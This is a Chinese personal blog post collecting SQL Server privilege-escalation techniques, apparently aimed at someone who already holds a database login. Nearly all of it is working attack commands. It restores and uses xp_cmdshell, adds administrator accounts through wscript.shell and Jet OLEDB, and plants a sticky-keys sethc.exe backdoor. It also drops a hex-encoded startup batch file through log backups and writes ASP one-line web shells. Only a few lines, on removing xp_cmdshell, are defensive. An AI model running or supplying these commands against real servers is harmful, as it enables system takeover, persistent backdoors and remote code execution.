辉克's Blog

创造机会的人是勇者;等待机会的人是愚者

sqlserver提权操作

得到SQLserver的权限,想进一步得到system权限的方法总结
*************************** 利用xp_cmdshell ***********************************
一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'
(提示:慎用!)
二.简单修补sa弱口令.
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
然后按F5键命令执行完毕
方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell'
然后按F5键命令执行完毕
三.恢复xp_cmdshell
简单恢复xp_cmdshell
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'–
1.未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2.无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四、利用xp_cmdshell
exec master..xp_cmdshell 'ver'
exec master.dbo.xp_cmdshell 'net user test test /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'
五.SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开
开启xp_cmdshell:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
关闭xp_cmdshell:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;
开启'OPENROWSET':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ole Automation Procedures',1;RECONFIGURE;
******************************* 利用wscript.shell *****************************************
使用wscript.shell直接添加系统帐户:
查询分离器连接后,xp或2003server系统下使用:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
************************************ 利用SQL沙盒模式 ********************************
note:什么是沙盒模式?
沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.
首先开启沙盒模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;–
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
搞定 ^_^ !
******************** sa无xp_cmdshell下的提权 ***********************
代码:
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
代码:
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
成功后3389登陆按五次shift键。成功进入服务器。
一直向上点”我的电脑“右键“管理” 用户管理直接加用户。
****************************** 超必杀:利用db_owner *************************
先测试xp_cmdshell是否可用
exec master..xp_cmdshell 'ver'
提示权限拒绝,db_owner权限.
利用xp_dirtree列目录
exec master..xp_dirtree 'c:\',1,1
查看启动项
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
列数据库
Select DB_NAME()
利用url或者sql查询器log备份bat或一句话
alter database [northwind] set RECOVERY FULL–
create table cmd (a image)–
backup log [northwind] to disk = 'c:\cmd1' with init–
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)–
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'–
drop table cmd–
再去查看一下启动项就有一个bat了
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
最后,等着administrator重新登陆或者重启就OK了!
note:bat文件是shift脚本就是shift后门,用HEX转的16进制,可修改替换.
************************ 存储过程写文件 *************************
exec master.dbo.xp_subdirs 'c:\www\';
exec sp_makewebtask 'c:\www\hack.asp','select''<%execute(request("SB"))%>'' '
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\testing.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,<<testing>>
*********************** 一句话表达式为,容错改Execute为Eval *************
<%%25Excute(request("sb"))%%25>
<%Excute(request("sb"))%>
%><%execute request("sb")%><%
<script language=VBscript runat=server>execute request("sb")</script>
<%25Execute(request("sb"))%25>

发表回复